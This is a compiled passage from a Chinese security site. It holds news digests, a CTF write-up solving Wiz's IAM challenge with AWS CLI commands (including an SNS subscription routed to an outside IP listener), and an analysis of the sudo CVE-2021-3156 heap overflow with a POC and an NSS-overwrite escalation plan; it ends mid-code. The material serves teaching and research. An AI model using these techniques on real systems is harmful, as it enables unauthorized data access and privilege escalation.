https://thehackernews.com/2023/06/critical-security-flaw-in-social-login.html miniOrange 的WordPress社交登录和注册插件中披露了一个严重的安全漏洞,该漏洞可能使恶意行为者能够在用户提供的任何有关电子邮件地址的信息已知的情况下进行登录。该身份验证绕过缺陷被追踪为 CVE-2023-2982(CVSS 评分:9.8),影响所有版本,包括 7.6.4 及之前的版本。该问题已于 2023 年 6 月 14 日得到解决,并于 2023 年 6 月 2 日负责任地披露后发布了 7.6.5 版本。 7、研究人员发现越流行的大语言模型越不安全 https://www.secrss.com/articles/56106 安全研究人员用OpenSSF记分卡对GitHub上50个最流行的生成式AI大语言模型项目的安全性进行了评估,结果发现越流行的大语言模型越危险。 8、新发现的基于 Windows 的恶意软件ThirdEye窃取敏感数据 https://thehackernews.com/2023/06/newly-uncovered-thirdeye-windows-based.html 一种名为ThirdEye的先前未记录的基于 Windows 的信息窃取程序已在野外被发现,具有从受感染主机获取敏感数据的能力。 9、报告称海底电缆遭受网络攻击的风险日益增加 https://www.infosecurity-magazine.com/news/submarine-cables-risk-cyber-attacks/ 一份新报告发现,海底通信电缆日益成为网络威胁行为者的目标,其事件可能会造成全球互联网的巨大破坏。 10、Linux 版本的 Akira 勒索软件针对 VMware ESXi 服务器 https://www.bleepingcomputer.com/news/security/linux-version-of-akira-ransomware-targets-vmware-esxi-servers Akira 勒索软件操作使用 Linux 加密器对 VMware ESXi 虚拟机进行加密,对全球各地的公司进行双重勒索攻击。Akira 首次 出现于 2023 年 3 月,针对各个行业的 Windows 系统,包括教育、金融、房地产、制造和咨询。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。 Challenge1: Buckets of Fun We all know that public buckets are risky. But can you find the flag? 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",   //Effect(效果)设置为Allow(允许)           "Principal": "*",   //Principal(主体)是所有用户("*")           "Action": "s3:GetObject", //获取对象           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",   //列出存储桶           "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",             "Condition": {     //条件是通过前缀限制只能列出以"files/"为前缀的对象               "StringLike": {                   "s3:prefix": "files/*"               }           }       }   ] } 该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险: 1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。 2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象 解题思路: 针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。 1、获取该存储桶中的对象 aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下: aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt 另外也可以直接网络访问获取: http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt 获得flag如下: {wiz:exposed-storage-risky-as-usual} Challenge2: We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong? Join our queue and get the secret flag. 查看提示获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": [               "sqs:SendMessage",     //发送消息               "sqs:ReceiveMessage" //接收消息           ],           "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"       }   ] } 该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险: 1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。 2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
网络安全日报 2023年06月29日
1、Akira勒索软件开始针对Linux平台发起攻击 https://blog.cyble.com/2023/06/28/akira-ransomware-extends-reach-to-linux-platform/ Akira是一种新型的勒索软件,自2023年4月出现以来,已经攻击了多个行业的数十个组织,窃取和加密了他们的敏感数据。如果受害者不支付赎金,攻击者就会威胁在暗网上出售或泄露数据。值得注意的是,Akira勒索软件已经扩展了其攻击范围,包括了Linux平台。研究人员发现了一个复杂的Linux版本的Akira勒索软件。这个恶意的Linux可执行文件是一个64位的Linux Executable and Linkable Format 2、西门子能源在MOVEit数据窃取攻击后确认数据泄露 https://www.bleepingcomputer.com/news/security/siemens-energy-confirms-data-breach-after-moveit-data-theft-attack/ 西门子能源已经确认,在最近的Clop勒索软件数据窃取攻击中,使用了MOVEit Transfer平台的一个零日漏洞,导致数据被盗。Clop在其数据泄露网站上列出了西门子能源,表明该公司的数据在一次入侵中被窃取。虽然目前还没有数据被泄露,但西门子能源的一位发言人证实,他们是最近利用MOVEit Transfer零日漏洞(追踪为CVE-2023-34362)进行的Clo 3、大众汽车车载娱乐系统曝安全漏洞,可被远程控制 https://www.freebuf.com/news/370513.html 根据GitHub的一份报告,大众汽车Discover Media信息娱乐系统的漏洞是在2023年2月28日发现的。该漏洞可能会使未打补丁的系统遭到拒绝服务(DoS)攻击。该漏洞起初是由大众汽车的用户发现的,随后大众汽车方面确认了该漏洞,漏洞的标识为CVE-2023-34733。 4、Windows 11 将为 Windows Hello 提供内置密钥管理器 https://www.bleepingcomputer.com/news/microsoft/windows-11-is-getting-a-built-in-passkey-manager-for-windows-hello/ Microsoft 正在扩大对 Windows 11 中的密钥的支持,以便使用生物识别身份验证更安全地登录网站和应用程序。 5、为防止泄密,美国国会明确要求职员仅可使用付费版 ChatGPT https://www.ithome.com/0/702/257.htm 据外媒 Axios 报道,美国众议院正对国会办公室提出一项新的要求:各办公室仅允许使用付费版的 ChatGPT Plus。 6、腾讯 QQ/TIM 存在本地提权漏洞,可通过QQProtect进程无感提权 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34312 在Tencent QQ 9.7.8.29039 版本和TIM 3.4.7.22084 版本中,QQProtect.exe 和QQProtectEngine.dll 不验证进程间通信的指针,这会导致write-what-where 情况。 7、数十家企业最近受到“8Base”勒索软件团伙的攻击 https://www.securityweek.com/dozens-of-businesses-hit-recently-by-8base-ransomware-gang/ 过去一个月,8Base 勒索软件团伙袭击了大约 30 家小型企业,自 2022 年 3 月以来,受害者总数约为 80 人。 8、Gentoo Soko 中的SQL 注入漏洞可能导致远程代码执行 https://securityaffairs.com/147911/hacking/gentoo-soko-sqli.html SonarSource 研究人员在 Gentoo Soko 中发现了两个 SQL 注入漏洞,统称为 CVE-2023-28424(CVSS 评分:9.1),远程攻击者可利用这些漏洞在易受攻击的系统上执行任意代码。 9、CryptosLabs 诈骗团伙针对法语投资者,已骗取 4.8 亿欧元 https://thehackernews.com/2023/06/cryptoslabs-scam-ring-targets-french.html 网络安全研究人员揭露了一个名为CryptosLabs的诈骗团伙的运作方式,自 2018 年 4 月以来,该团伙针对法国、比利时和卢森堡的法语用户,估计已赚取 4.8 亿欧元的非法利润。Group-IB在一份深度报告中https://www.group-ib.com/blog/cryptoslabs-investment-scams/,该集团的大规模虚假投资计划主要涉及冒充 40 家知名银行、金融科技公司、资产管理公司和加密平台,建立涵盖 35 10、电磁故障注入 (EMFI) 攻击可实现任意代码执行并接管无人机 https://securityaffairs.com/147929/hacking/electromagnetic-fault-injection-attacks-drones.html 对无人机的电磁故障注入 (EMFI) 攻击可能会让攻击者实现任意代码执行并接管无人机。IOActive 的研究人员分析了如何开发针对强化无人机 (UAV) 的故障注入攻击。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Sudo堆溢出漏洞(CVE-2021-3156)复现
背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167: 